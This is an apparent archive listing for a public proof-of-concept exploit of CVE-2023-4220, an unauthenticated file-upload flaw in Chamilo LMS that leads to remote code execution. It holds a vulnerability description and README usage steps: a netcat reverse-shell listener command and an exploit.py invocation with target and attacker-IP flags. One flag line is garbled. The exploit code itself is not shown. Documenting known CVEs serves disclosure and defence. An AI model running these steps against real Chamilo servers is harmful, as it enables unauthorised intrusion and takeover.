CVE-2023-4220 PoC — Chamilo LMS 安全漏洞

Source

https://github.com/bueno-armando/CVE-2023-4220-RCE

Associated Vulnerability

Title:Chamilo LMS 安全漏洞 (CVE-2023-4220)
Description:Chamilo LMS是Chamilo协会的一套开源的在线学习和协作系统。该系统支持创建教学内容、远程培训和在线答题等。 Chamilo LMS v1.11.24 版本及之前版本存在安全漏洞，该漏洞源于 “/main/inc/lib/javascript/bigupload/inc/bigUpload.php”页面存在大文件上传功能存在不受限制的文件上传。

Readme

# CVE-2023-4220-RCE
## Summary
*[Starlabs advisory](https://starlabs.sg/advisories/23/23-4220/)*

- **Affected product:** Chamilo <= v1.11.24
- **Description:** Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
- **CVSS Score:** 8.1 (*High*)

## Usage
1. Set up a netcat listener (if you want a reverse shell)
```bash
sudo nc -lnvp 443
```
2. Run the exploit
```bash
python3 exploit.py -u --url <REMOTE HOST>, -p --port [REMOTE PORT] -c --comand <COMMAND>
```
- Flags for reverse shell
    - **-lh/--localhost:** Attacker IP
    - **-lp/--localtcat listener port

File Snapshot


 [4.0K]  /data/pocs/32384875036c34558411e9b7db8a5611eae24e96
├── [1.9K]  exploit.py
└── [ 795]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!